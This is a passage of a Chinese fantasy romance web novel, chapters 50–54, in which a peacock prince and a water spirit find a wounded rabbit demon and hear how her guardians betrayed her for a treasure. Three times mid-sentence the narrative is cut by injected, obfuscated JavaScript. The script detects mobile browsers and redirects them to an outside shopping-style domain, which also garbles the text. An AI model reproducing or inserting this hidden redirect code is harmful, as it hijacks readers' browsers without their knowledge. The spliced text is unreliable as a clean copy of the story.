“你们孔雀族的青逸山怎么动不动就遭劫,大明王吕简好歹也是个上神,居然连自家洞府都守不住——” 他说到一半,花清浅忽然剧烈咳嗽起来,水眸还狠狠瞪了他一眼,他被迫噤声,这才想起来,花清浅也是青逸山某次遭劫的罪魁祸首之一。 甚至连他这条命,都是她劫掠出来的“赃物”…… 他心知说错了话,害怕花清浅打他,怂怂地捂住嘴装鸵鸟。 花清浅无语地挥指,让他出去发挥为数不多的作用(买饭),自己走到吕浮白身边,截住他望向玉京子淡然冰凉的视线,斟酌道: “可知那本秘籍是被何人偷去了?要不要说与我,我帮你讨回来?我修为比不过你,但我积攒功德这么多年,结交的人脉可是天下第一,说不定能帮上忙呢。” “不用。”吕浮白言简意赅,“要找惊鸿木,不用秘籍,我可用神识替你搜寻。” 神识铺满天地之间,如同与造化融为一体,这神识需要极其强悍,否则一不小心就会扰乱道心,神格尽毁,纵观神界,大约只有上古真神才能做得到。 花清浅不是神,不懂成神的世界,想当然以为这跟她用灵力隔空取物没什么区别,故而轻易答应下来:“好,反正也不急,咱们慢慢找——” “找到了。”吕浮白冷不丁道。 “……” 花清浅朱唇半开,不知道说些什么,傻了一样地看着他。 “那两块惊鸿木被一只兔妖戴在身上,兔妖身边还有一个凡人,两人现在柳枝江畔,离慕城不远。” 他语气内敛浅淡,但其中似乎还藏了些别的什么东西。花清浅从前不觉,眼下终于听明白,那是不易察觉的讨好。 吕浮白,大明王世子,鸟族中兴最有希望的后起之秀,在暗暗讨好她。 此时玉京子买回来早点,推开院门招呼两人用膳,吕浮白知道她一向以食为天,便转过身去,想饭后再同她谈,刚迈出一步,却听她在身后柔声说道: “你被心上妖抛弃,我是知道的,也安慰过你。但我没有毛遂自荐的意思,东方既走,我近日无心情爱,你不要误会。” 吕浮白顿住,轻声答:“我知道。”静默一瞬后,他没有回头,继续道,“我不想要别的,只是想要一个机会。” 一个重新开始的机会,这是我全部所求。 清浅,这个机会,你给不给我? 51. 第51章 “……行吧,只要你等得起。”花清浅本想一口回绝,但是看到他高挑萧瑟、显出几分孤寂的背影,拒绝的话又说不出口,梗在喉间,再说出口时就变了番模样: “只有一样,你得是真心喜欢我,不是拿我做你心上人的替代品,或是你被抛弃之后的慰藉。否则我就算打不过你,也定要教你后悔出生在这——” 她还没有说完,吕浮白便点点头,答了句:“我知道。” 他一面应着,一面微微侧过目光,花清浅看见他眼底是纯粹的欢喜,方才的萧瑟意味浑然不再,忽然发觉自己掉进了他的陷阱里。 鸟族果然都是城府深厚、不能轻信的东西!可惜话已出口,不能更改,她只好快步掠过某只狡诈的孔雀,气汹汹朝玉京子手上的早点杀去。 - 既然知道了那两枚惊鸿木在何方,花清浅也就不再着急,慢悠悠吃完了两只核桃包、半块黄金酥饼,喝完小半碗汤,还在榻上眯了个回笼觉,等到日头高起,春光最好的时分,才从小院启程。 “为什么我不能跟你去啊?!”玉京子被她留下来看家,很是不满,拽着她的衣袖不肯放手:“你变了,清浅,你宁可带吕浮白一起都不带我,亏我还是你最亲的弟弟!” 花清浅伸出一根手指顶住他的脑门,让他离远点:“吕浮白能感应到万万年惊鸿木所在,你能吗?听我的话,乖乖在家里呆着啊,有事找土地公,好了,放手,我要走了。” 玉京子假哭的痛嚎声响彻寰宇,但花清浅一点也没有心软。今日已经是玉京子第十几次说错话了,再不治一治他说话不过脑子的毛病,她迟早要被他给蠢死。 她砰一声关上院门,任由玉京子在里面挠墙,转身朝吕浮白说道:“走吧。” 蔗县紧挨着慕城,两人从官道出发,路上没有多耽搁,在日落以前就到了蔗县。 踏进蔗县,花清浅胸前的神牌愈发生出一股灵气,她将神牌拿在手里,细细感应一番,说道:“离惊鸿木越来越近了。” 吕浮白应了一声,两人朝神牌感应的方向走去,进入一片车水马龙的闹市,在经过一条街道时,花清浅抬起头来,水眸半眯,看向街边第一座灯火煌煌的酒楼。 “这里有兔子的味道。”她对吕浮白说,果断抬步走进酒楼,想堵住那只兔子再说,不料刚踏进酒楼门槛,自己却先被一个软软的小东西堵了个满怀。幸亏吕浮白在身后扶了她一把,才没有让她身体不稳栽倒在地。 撞进她怀里的女子双眼发红,头上有白色的毛毛正在冒出来,嘴唇翕动不停,正是兔妖本妖。 “我知道,你是清浅姑娘······姑娘,我本来是去找你的,你怎么却主动找上我了······” “你找我?找我做什么,你认识我?”花清浅一愣,很快察觉到不对:“你这妖丹是怎么回事?” 那兔妖却显然再也支撑不住,脑袋一歪,倒在她颈窝处不动了。 花清浅满头雾水,几乎有一种被人碰瓷之感,还好她没有茫然多久,下一刻旁边站着的凡人男子就上前帮她扶起兔妖,道了声歉,并请她去二楼房中详叙。 这凡人男子修眉细眼,长相还算端庄,且托着兔妖的动作很是娴熟,举手投足也十分彬彬有礼,最重要的是,他命宫有大光环,乃是累世积德之相。 如此福泽深厚之人,多数不会有坏心眼。何况花清浅仗着有孔雀王世子撑腰,也不怕有暗算,坦然随他上了楼。 那凡人将兔妖放在榻上安置好,又请花清浅二人上座,温和开口说道: “在下名叫景枫,是柳枝江畔的一名木材匠人。十三天前,我替人打一副棺材,那户人家是水葬,我亲眼看着棺材顺着水波飘远,过了不多时,却有另一具身体盖在尸体上飘了回来。” 那具身体,就是如今躺在床上奄奄一息的兔妖,安安。 念在人是自己做的棺材驮回来的,景枫又是难得的热心,便把人捞了上来,却不想他捞上来的并不是人,而是一只妖。 “你怎么发现她是妖的?” “当时她很快就醒了,我给她做了热汤,在喝汤的时候,她的……她的耳朵冒出来了。” 根据景枫的描述,以及这个安安在楼下动不动就冒出红眼睛和白毛毛的样子,她像是不太会控制变形。 花清浅有一丝疑惑:对于妖族而言,在原形与人形间变幻可是本能,小兔妖虽然年纪轻轻,可起码也有十五岁了,不像是刚生出来的兔崽子,怎么连妖族最基本的技能都不熟练? 就算她和花清浅一样,没有爹娘教养,可控制原形又不需要多高超的法术,只要多练,哪有学不会的道理——就连玉京子那样的笨蛇,变人形都是炉火纯青。 榻上的兔妖发出一声嘤/咛,花清浅暂且放下疑问,送了一丝灵力到安安的筋脉里,过了片刻抬起头,与吕浮白对视了一眼。 此前她的判断没错,这兔妖的妖丹果然像是被什么东西撕碎过,如今勉强靠外力强行凑在一起,看着很快就会分崩离析。 “不知道这兔妖惹上了什么仇家。”她叹了口气,让自己的水系灵力顺着安安的筋脉游走,竭力抚平她的疼痛,收回视线,有些不敢再看,“这兔子这么可爱,居然对她下这么重的手。” 最后一句话音未落,榻上的小兔妖睫毛颤了颤,张开红艳艳如宝石般的眼睛,声音细弱地答道:“不是仇家,这是……我召唤了邪魔,自己弄成这样的。” - 从出生一直到去年,整整十六年里,安安从未以为自己是一只妖。 她没有亲生父母,养她的人家只把她当童养媳,并不当人看,对她非打即骂,为了一口吃的,她都默默忍了。一直忍到十岁时,有一个特别好、特别好的姐姐来到家里,买走了她,说要认她当妹妹。 姐姐有个特别好听的名字,叫做寒春。 “寒春仙子?”花清浅听到这个名字,感觉有些熟悉,“那不是九重天上的女剑仙么?”因为寒春长得好看,花清浅对她印象不错,两人还就海鲜的烤法交换过心得。 安安睫毛忽闪两下,眸中思绪影影绰绰,叫人看不清晰:“应该就是她。姑娘原来认识她么?” “倒也不算认识,算见过面吧。可她好好一个剑仙,不在天上呆着,跑到你一个小兔子精身边,给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659678|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当姐姐?她图什么?” “图我可爱?”安安支撑起身体,想要坐起来,景枫不动声色地在她背后垫上两个软枕,她软声道过谢,对上花清浅探究的视线,忽然满是自嘲地一笑。 “我每每去问她,为什么她会买下我这个小拖油瓶,她都会这么告诉我。” 寒春生得很好看,性子和善,还会做一手好菜,在那个闭塞的小镇,她几乎无所不能,所以她说什么,安安就信什么。 她还说,安安这副身体并没有坏掉,那些十岁之后压抑不住从丹田泛出的灼痛、脑袋顶时不时冒出来的白毛毛都很正常,让她不要多想,她也一起信了。 “——只是后来我才知道,我根本不是凡人,而是一只兔妖。之所以会那么痛苦,是因为她在我还没出生时,就给我下了封印,压抑我的妖气和灵力……” “而且她陪在我身边,不是图我可爱。而是图我身上的血,以此解开我爹的法术,拿取秘宝——” “惊鸿木。” 听到此处,花清浅才想起来此行的目的,但她没有心急,先确认道:“万万年惊鸿木?令尊是何等身份,居然会有如此秘宝?” “这个,其实我也不知道。”安安咧了咧嘴,“不过听寒春和厉胤所说,我爹应该很是厉害,当年乃是天界的一号劲敌,当时神仙们都叫他‘长耳祟煞’。” 当时她躲在墙角,听到寒春和厉胤说,长耳祟煞弄来了万万年惊鸿木,而且不知他用了什么方法,此木与安安的妖丹之间还建立起了某种联系。 万万年惊鸿木用处玄妙,且都与魂魄有关,寒春猜测,长耳祟煞是想拿亲生女儿的身体当魂坛,等安安长到成年、血肉健全之时,就是他这个魔王重返世间之日。 厉胤问了一句:“那你养安安这么久,就是为了等她血肉长全,然后杀了她?” “寒春姐姐说,当然不是,若是那样,她在我幼时就能动手,何必等这么久。她说,她图的不是长耳祟煞,而是那两枚惊鸿木。”安安垂着脑袋,慢吞吞回忆道: “厉胤又问,那惊鸿木肯定要等我的血肉榨干之后才现世,她难道忍心。寒春姐姐她、她说,‘你都忍心,我有什么不忍心的’。” 见安安说到最后一句时带了哭腔,泪珠一大颗一大颗从眼中滚落,挂在鬓角,花清浅怜爱之情顿生,从乾坤袋中取出一方在京师新买的手帕,递给了她。 “多谢姑娘。”安安软乎乎地说道,像是有些不好意思,侧过了身去:“其实,觊觎惊鸿木的不止她一个,但她最叫我伤心,比厉胤还叫我伤心……” 直到现在真相大白,安安也还是想不通,那个把她送进学堂、出手教训所有欺负她的坏小子、在放学后会奖励她吃桂花糖的寒春姐姐,和那个亲口承认杀了她父母、养她只是为了榨血取宝的寒春仙子,怎么会是同一个人呢? 她现在太虚弱,情绪一激动就容易喘不过气来,景枫帮她轻抚着胸口,她缓了好一阵,又喝下花清浅递过来的茶,这才好受了一些。 花清浅为她端走茶盏,转移话题道:“方才听你说厉胤,这人也是寒春的同谋么?我怎么没听过此人名号。” 52. 第52章 “哦,他不是九重天的人。”提起厉胤,安安确实没那么伤心了,她睫毛颤了颤,眸底情愫更多是心灰意冷:“他是一只大妖。” 有一年,安安身体的种种异象愈发控制不住,寒春说,这是她生病了的缘故,叫安安呆在家里,她出门去外地买一趟药。 厉胤就是在那个时候出现的。 寒春低估了安安的胃口,留的米粮她短短三顿就吃完了,她又谨记着姐姐说的话,不敢出院子买东西吃,硬生生饿了两日。 到了第三日,她实在饿得太狠,看院内的杂草都是香的。寒春从来不许她乱吃地上的花草,可她忍了又忍,终究还是没有忍住,瞅瞅四下无人,干脆扑上去薅了一大把水汁丰嫩的肥草来吃。 她坐在地上毫无形象地大嚼大咽,院墙上忽然传来一道声音:“才辟了区区两日的谷,就把你饿成这样?真没出息,寒春怎么把你养成这副德行。” 安安吃了一惊,下意识放下手里的草,抬头看见一个身穿灰色劲装的少年骑在墙上。 他身量高大,姿势散漫,因为俯着上半身,他长发流泻如水,遮了小半的面庞,露出来的一半俊脸透着股邪气,整个人看上去很是嚣张。 “你是谁呀?”她蓦地脸上一红,拍干净腮边沾着的草屑,从地上站起来问,“寒春姐姐说,她在院子里设了结界的,外人擅闯即死,你可小心点,不要掉下来了。” “你我第一次见面,你就开始担心我了?” “谁、谁担心你了呀,我是怕你摔在我家院子里,压倒了寒春姐姐喜欢的花草,我不好收拾。” 她嘴硬没有用,来人看着她双目圆睁、很明显就是十分担心他的呆样,嗤笑一声,直接跳下墙头。 他靴底与地面接触的一刹那,院子里的石板发出一阵嗡鸣,但随着他掌心灵光大盛,石板的骚动很快被镇住。 没想到他真能破了寒春的结界,安安吓了一跳,急忙往后退去:“你、你到底是谁,闯入我家里,是想、想要干什么!” “你都把这里当家了?”那人又嗤笑一声,变戏法似的从怀里掏出一盒桂花糕,拿在她面前晃了晃,问她想不想吃。 “想。”她说,紧接着又摇了摇头,“但我不能要,寒春姐姐说过的,我不能要来历不明的人的东西。” “什么寒春姐姐长、寒春姐姐短的,你真以为她是好东西?与其信她,还不如信我——” 他没来得及说下去,便有一道影子风驰电掣般从天而降,狠狠将他甩出了院门: “厉胤!你平日招惹仙——仙醉楼的小娘子还不够吗?少把手伸到我妹妹头上!还想要你这条小命,就给我滚!” 是寒春,她居然提前回来了! 寒春一向温柔持重,对付所有人都是四两拨千斤,从来不动真怒,罕有如此声色俱厉。安安看着寒春追出门去打人,心中思量,这位厉胤大约比镇上喝醉后到处调戏姑娘的懒汉还要罪大恶极。 然而,寒春与厉胤在院子外头周旋许久,不知说了些什么,两人居然就这么握手言和了。寒春主动把厉胤领进来,还跟安安说之前是一场误会,厉胤人还是挺好的,要她原谅他之前的冒犯与莽撞。 “好啊!”安安没有察觉到两人笑容之下的暗流涌动,只想着姐姐提前回来,自己就不用挨饿了,欢欢喜喜地抱住她的胳膊:“姐姐的朋友,就是我的朋友,我一定会待他很好很好的!” 厉胤近距离看着她毫无杂质的眉眼,似乎有些不习惯,拿出之前那盒桂花糕给她当见面礼。她开心收下,当晚睡觉的时候偷吃了两块,梦里都是桂花糕的清甜香气。 那时安安什么都不知道,只知道寒春姐姐疼她、姐姐的朋友也疼她,她从前做童养媳受的那么多苦都是值得的,老天很公平,碰见姐姐以后,她就有好日子过了。 后来她知道了真相,再回想起这一日,才惊觉那盒桂花糕的背后究竟藏着多么险恶的一场阴谋。 安安眼看着年岁一日日大起来,按兔妖一族常理推算,在血肉健全以前,她说不定就会春心萌动,先跟着某个小子跑了。 寒春养了她这么多年,怎么会容忍到嘴的惊鸿木飞掉呢? 这个时候,厉胤找上门来,正好可以为她所用。 厉胤是妖族赫赫有名的浪子,手底下折过的仙妖美人没有成百也有成十,绝对不算是良配。不过当然了,对于寒春而言,他是不是良配不重要,重要的是他能稳住安安,让她即使生出嫁人的心思,也不会跑得太远。 安安讲完这段往事,从眼帘下偷偷看了景枫一眼,仿佛生怕他误会似的,紧接着补充道: “其实厉胤撩拨小姑娘的手段也不算高明,细想起来又恶心又轻浮,只是我当时太单纯,而且还有寒春在旁边煽风点火,我才会、才会想着跟他成亲的。” 花清浅很能理解她,刚要出言安慰,却被景枫抢先了一步。 “这不怪你。”布衣匠人在床边弯下身,为安安撩起散落耳边的碎发,低声说道,“你只是中了坏人的奸计,错的是他们,不是你。” 小兔妖与景枫相视一笑,过了片刻才注意到花清浅的视线,忙用两只手捂住发烫的双颊:“不、不过还好,我提前听到了他们的话,没有和厉胤成婚,他们的奸计没有得逞!” - 话是这么说,当初发现那两人的阴谋时,安安可远远没有眼下这般开朗。 寒春是她朝夕相伴、心心相印的姐姐,厉胤是她情窦初开喜欢上的第一个人,这两人竟合谋盼着她死,她心里一时反应不过来,只想作呕。 神智归位后,她装作平静地蛰伏了好几日,寻到一个机会,摆脱了那两人的监视,连夜逃到邻村的一个破庙内。 “虽然我逃出了小镇,但寒春与厉胤一位是仙,一位是妖,我被他们抓到是迟早的事情。好在我读过寒春的藏书,知道在仙人与妖族之外,还有一股势力,是为邪魔······” 在真相大白的那一夜,她曾听到寒春警告厉胤,叫他不要轻举妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666550|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,否则小心招来邪魔,言语之间似乎颇为忌惮。 “邪魔”,听上去就不是什么好词,但安安当时已心存死意,邪魔能叫她速死,又能阻止寒春他们得到惊鸿木,如此这般,再好不过。 她在破庙里堆了许多树枝,挡住观音悲悯的垂眸,按照寒春藏书里的图样,在圈起的一小块地上勾画出阵法。 阵法初成,小地狱显形,安安只记得一阵狂风大作,有什么东西张牙舞爪向她扑过来,她被吓得晕倒在地,再醒过来时妖丹已经碎裂,她却并没有死。 “我应是被召唤来的邪魔打落河里,是景枫救了我。”她感激地抬头望了一眼,复又说道,“我喝了他做的汤,盖着他收拾的被子,看着他做的满院子的棺材,还有棺材旁边的手提灯笼,后院养着的花花草草、小犬小鸭,觉得人生尚好,忽然就不想死了。” 花清浅不难想象她的心境,却很难想象她的身体——她是妖,妖丹碎裂,本应必死无疑,由不得她想不想。看景枫的样子,他命里虽有大功德,却也不像是会治妖,那小兔妖是如何撑到现在的? 她问出心中疑惑,同时已经隐隐猜到,答案八成和惊鸿木有关。果然,安安闻言朝她眨了眨眼,笑着说道:“是惊鸿木保住了我的命。” “寒春和厉胤他们说错了,我爹才没有把我做成魂坛!他真心爱着我娘,也真心爱着我,这两枚惊鸿木不是供他自己复活的工具,而是他以防有什么不测,留给我的法宝。” 提到长耳祟煞,安安像是打起了几分精神,她握住花清浅的指尖,直视着她的眼睛说道: “姑娘,我现在离不得这两枚惊鸿木,若寒春他们现在来夺宝,便与夺我性命无异。我、我刚刚才得知妖族身份,什么术法都不会,但我也不想坐以待毙······” “此前我与景枫碰到一位狐狸姐姐,她说慕城清浅姑娘擅解妖族疑难,还给了我一张画像,叫我循着画像去找姑娘,可保性命无虞。却不想咱们今日在蔗县就碰见了,正是有缘,还请姑娘为我想个办法,助我脱离惊鸿木,我愿以此物作为报酬,赠予姑娘。” 花清浅点点头,看她说了这么长一段话,已很有些乏力,忙又倒了杯茶,让她喝下,暂且歇息一会。 喝完温茶,安安枕着靠枕闭上眼睛,呼吸渐渐变得平缓。景枫以为她是昏迷了,腾地站起身,花清浅瞟了他一眼,开口道:“不要担心,是我让她睡过去的。睡眠有益于放松神思,这小兔子的回忆大起大落,歇一歇对她有好处。” “姑娘考虑得是。”景枫松了口气,冲她拱手行礼,“敢问姑娘,对安安如今这般情状,可有几分把握,能治好么?” 这匠人看着温吞,问起话来倒是直截了当,仿佛花清浅这一刻说没把握,他下一刻就会扛起安安另寻名医,不浪费一丁点的时间。 花清浅素手半抬,召出一本书翻了翻,有些散漫地挑眉道:“要说把握,那自然是有的。” 不过,要说代价嘛,那自然也是惨烈的。 53. 第53章 其实,专管妖族生死的孔雀族世子就在此,让吕浮白出手,是最为简单的法子,只需他亏损些神力,安安隔日就能恢复成一只活泼健康的兔妖,任何人都不必付出代价。 可是花清浅眼下不想欠他人情,小兔妖来求的是她,没道理叫孔雀世子沾上因果。更何况,她也不想让寒春两人没有代价。 “我所修习的《上善水经》里,确实有解救小兔妖的法子。”她目光暗暗转向窗外,下一刻若无其事地收回,继续说道,“不过,我还需要一颗新鲜有力的妖丹、一捧北地群星看守的襄怜丹草,做补丹的原材料。” 她把召出的古籍摊开在景枫面前,以示她没有撒谎。 寻常救命之法,最多是一命抵一命。此法却要金贵得多,妖丹需要自愿贡献,自不必说,那襄怜丹草也不是好取的。北地那群星君最为固执,不管是谁去求丹草,必要先通过三番四次的试炼,最后还要献出一口生气,才能取得一株。 算起来,是两命抵一命的法子。 “姑娘所说的北地在哪里?”景枫毫不犹豫地问道,看样子竟想凭凡人之身取草。 花清浅很欣赏他这份勇气,但也懒得理会这份不自量力,没有答话,直接扬声向窗外道:“阁下偷听了这么久,还不现身,是等着孔雀世子亲自出去把你拎进来么?” 屋里屋外一时沉寂,吕浮白刚抬起眼,只听门外一声轻响,门闩自动打开,一身灰黑色劲装的少年走了进来,应该就是安安口中的厉胤。 安安说得不错,厉胤容貌果真俊美无铸,即使心神显有疲倦,仍掩不住满身风流。只是此刻他目光扫过景枫,一张脸臭了个彻底,再俊的容貌也有些微的扭曲,不那么赏心悦目了。他没有废话,直直对着花清浅开口,语气嚣张至极: “我不管你用什么代价,速速把她治好,不然——” 话没说完,他目光触及她身后未发一言的吕浮白,却又闭上了嘴,收敛了几分说道:“你不是要妖丹吗,用我的好了。此事别让安安知道,她不想与我有瓜葛······更不稀罕我的妖丹。” 花清浅察觉出屋内的灵力波动,知道这厉胤进门时本想用法力威压她,被吕浮白反手镇住了。 此番做派她甚是讨厌,当下故意不肯依照他的心意来,反而慢悠悠明知故问道:“你不是想要小兔妖的惊鸿木,一心盼着她死么,怎么现在反倒要救她?” “问这么多作甚,你赶紧救人就是了!”厉胤没好气地道。 “不解释清楚,你这妖丹我也不敢用啊。”花清浅屈起指节,敲着《上善水经》翻开的这一页,叫他好好看看,“这里说了,妖丹必须要自愿献出才可以用,不然是不会奏效的。” 厉胤喉咙里发出一声暴躁的低吼,目光不善地朝她瞪起眼,但有吕浮白在后边坐镇,他也别无选择,只能灭了气焰开口回答。 “我之前是想要惊鸿木,但现在不想要了。” “哦,那是为什么呢?” “因为我更想要安安活着……我喜欢她。” 景枫皱起眉头,花清浅忍不住冷笑一声,面对两人明晃晃的嘲讽,厉胤似不以为意,自顾自凝望着床上兔妖安静恬美的睡颜,开口道。 “……她偷听到我与寒春仙子谈话那晚,其实是我们的新婚夜。” - 蜜獾一族成妖的不多,厉胤便是其中之一。他于修炼一道天赋异禀,仅五百岁便成了族内首屈一指的翘楚,天下闻名,天上也隐有传闻,不过大都是一些仙娥在传——厉胤脾气不好,皮相却实在英俊,受到不少仙娥追捧。 被追捧得多了,厉胤见识也广,他自诩万花丛中过,片叶不沾身,从没有想过,有朝一日竟会栽在一只兔子手里。 一开始他跟踪寒春,只是因为发现她鬼鬼祟祟,他怀疑她与魔族勾结,因而偷偷跟着,想将之抓个现行。跟到最后,发现她居然在凡间养了一只小兔子,那小兔子的气息还非同寻常,像是当年长耳祟煞的后代,则完全是意外之喜。 在确认了安安身份的那一刻,他就知道寒春打的是什么算盘,也想好了如何分一杯羹。他本想直接找寒春谈交易,却正好赶上小兔子妖性复发,需要再封印一次。 封印妖身可用灵力,也可用仙丹。灵力封印伤身,寒春急着要去采温和些的仙药封印,便把小兔子一个人留在了家里。 他躲在墙头,藏匿起身影,看着那名叫安安的小兔子饿得受不住,趴在地上啃草,莫名觉得好笑,拿出钱袋去附近买了一盒桂花糕。 之后一切如他所料,寒春怕他泄密,也怕安安跟别的凡人跑了,答应给他一块惊鸿木,也答应了他的美男计。 他堂而皇之入住了姐妹俩的小院,使尽浑身解数对安安好,而安安是个老实性子,他对她好,她便要对他更好。久而久之,他也分不清他讨好她,究竟是因为那块传说中的惊鸿木,还是因为她笑起来会眯成两弯月牙的、傻乎乎的眼睛。 直到某个天高云淡的傍晚,安安被寒春威逼利诱着吃完最后一丝胡萝卜,他迎着她撒娇般望过来的求救目光,棉花一样柔软的情绪填满整个胸腔。 他在一刹那间顿悟。 “我不想要虚无缥缈的什么神器了。我想和她成亲,想和她一辈子呆在一起,她喜欢吃什么,我给她做,她不喜欢什么,都交给我。”厉胤说,“于是我当场求了亲,她也答应了。倒是寒春,莫名其妙开始发疯,不许我娶她妹妹······” 听到这里,花清浅就知道,襄怜丹草也稳了。 “不过寒春反对没用,成婚仪式一切顺利,当晚我与她那番谈话,是在跟她虚与委蛇——我已做好防备,她若谋害安安,第一个粉身碎骨的就是她自己。” “新婚那几晚,安安推脱说太累,无法与我同/床。我以为她害羞,都由着她,却没有想到,她其实在谋划逃跑。” 安安一声不吭就走,消失得彻彻底底,厉胤这才发现不对劲,好在寒春在她身上种了追踪术,两人连夜找到她,将她带回了家。 这便与安安所讲的不一致了,花清浅略一挑眉,暗暗对厉胤施了个真言咒,这才确认他没有说谎。 “其实我晓得,她发现了真相,第一反应是出逃,就是不想再见到我。”他半跪在床边,低头说道,“可我······我就是不甘心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678239|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不甘心,他们明明才刚成婚,所有的谎言刚要结束,所有的美好刚要开始,她还不知道他真正对她好起来会有多好,他怎么甘心到此为止? 安安的脾气一直很好,厉胤与她相处这么久,从没见她使过小性子,他与寒春时常不合,也是她从中斡旋,于是这一次,他也理所当然地以为她会包容他们的错误。 可是她没有。 回到家后,无论他与寒春怎么哄,怎么劝,安安要么不肯开口,要么开了口,也只有一句话说。 “你们是怎么抓到我的。” 寒春仙子向来天崩于前面不改色,却在她带着嫌恶的目光下溃不成军,慌乱地将寻踪术法一一拔除。 “没有了,小安,没有了。”她恳切地看着小兔妖红通通的双眼,一遍遍做着保证,“我不是有意想跟踪你,只是要确保你的安全——” 安安抿了抿唇,静静反问:“是确保我的安全,还是确保惊鸿木的安全?” 一箭正中眉心。 当初寒春给她身上种下术法,的确是为了确保惊鸿木不脱离掌控。 至于这份对惊鸿木的在意,何时偷偷转换了对象,寒春说不清楚,安安也并不在乎。 厉胤暗暗嫌弃寒春不会来事,把她挤到一边,自己凑上前去,自以为聪明地换了个话题:“你今日走了这么远的路,累不累?我去给你打热水,看隔壁村里也没什么好吃的,你应该也饿了,想吃什么,我去给你做?” 安安低下头。 方才寒春跟她说话,她再不情愿,好歹也是看着寒春的眼睛。可现在换成厉胤,她像是连看他一眼都觉得恶心,长长的眼睫垂下,排斥之意昭然若揭。 “我都被你们抓回来了。”她轻声道,“我再也没有逃离的机会,你还要继续演吗?不必了吧。” 厉胤艰涩地开口:“过去种种是我错了,可是安安,我们已经行过大礼——” “我们没有。” 安安坚决地说道。 电光石火间,厉胤忽然想到了什么,也预料到她接下来要说的话,他应该一把抱住她,堵住她的嘴,不许她再说下去,可她拒绝的姿态那样明显,他于是被钉在原地,一丝一毫的反应动作都不敢有。 “当日洞房,我已得知你们的计谋,故意弄洒了合卺酒。”她语气还有点小得意,“之后我更是处处避开了你,那场成亲从一开始就是假的,所以统统都不作数。我们不算礼成,你不是我的夫君。” 她每说一个字,厉胤心里的冰封就更牢固一分,等她说完,他心底已经如坠冰窟。 蜜獾一族性子本就不算温和,厉胤更为暴躁,要是别人这么算计他,事后还得意洋洋在他面前炫耀,他一定会让这个人后悔出生在世上。可现在,这个明摆着不想要他、耍弄他的人是安安,他生不起气,也没有资格生气,眼底只有惶惑与痛悔。 他终于知道自己犯了一个多么愚蠢的错误,嗓子堵得厉害,强撑着同她解释:“安安,那场成亲不是假的,我向你求亲是真心的——” “你接近我的心都是假的,成亲又怎会是真的?” 只此一句,见血封喉。 54. 第54章 初春小镇薄寒未退,少女脸色苍白,身上罩着寒春强行披上去的大氅,在榻上窝成小小软软的一团,神色却是平静又决绝,她朝床榻另一侧缩着双腿,像是想尽可能地离床边两人远一点,再远一点。 他不习惯她这副远离的姿态,跪在床前下意识探身:“我知错了……” 她避开他小犬似的目光,没有应声。 他望着她,竭力忍住喉咙的嘶哑:“你喜欢的桂花糕和甜茶,如今我都会做了,还有你喜欢的花草,旁边那栋庭院我已经买下,院子里不放别的,都挑你喜欢的草种。” “不论过往,那日向你求亲,我是真心的,眼下亦是。安安,你可否愿意再给我一次机会,让我——” “……我不愿意。” “安安!” 她干脆不再理他,只转向寒春:“仙子,我不会再逃跑了,此处用不到他,你叫他走吧。” 寒春如今对她百依百顺,提剑就往他身上砍去,厉胤被赶出屋外,束手无策地瞪着黑洞洞的门板。 他在冷风呼啸中呆立半晌,耳朵鼻子冻得生疼,透过窗户,屋内人一定可以看到他与冰棍无异的凄惨模样。 可是门里面那只最心软的小兔子,却始终没开口叫他进去过。 “安安看着逆来顺受,一旦心狠起来,却是最有主意,最聪明的。”说到接下来的事,厉胤薄唇勾起,露出一个有些苍凉的笑容: “她知道我与寒春不合,故意装出原谅了寒春的模样,却对我愈发退避三舍。我被激得上火,频频去找寒春的麻烦,她便趁着我们一次争斗的空档,再次逃了出去。” 这回没有寻踪术法,厉胤与寒春不知从何处寻起,只好用最笨拙的法子,一路拿着画像问过去,才找到了她藏身的破庙。 看到两人出现在破庙门口,安安皱起眉头,仿佛早有预料,同时手腕一动,在地上画完了召唤阵法的最后一笔。 乌泱泱的邪魔从地底钻出,张牙舞爪地扑过来,那一瞬间,厉胤才第一次如此清楚地意识到,安安对他们的厌恶究竟重到了什么程度。 她居然宁可葬身邪魔腹中,也不愿意靠近他们身边…… 邪魔攻势迅猛,他与寒春被迫联手还击,好容易将其逼回小地狱,但却没来得及护住安安。 “再找到安安的时候,她已经顺水漂流到柳枝江,与这凡人在一处了。”厉胤看了眼景枫,仍是没什么好脸色: “安安的身体要紧,我晓得她见到我会泛恶心,就悄悄跟在他们身后,护她周全,没有出现在她面前。” 听他把自己描述得如此无辜可怜,花清浅不由想笑:这只蜜獾,倒是挺会春秋笔法。 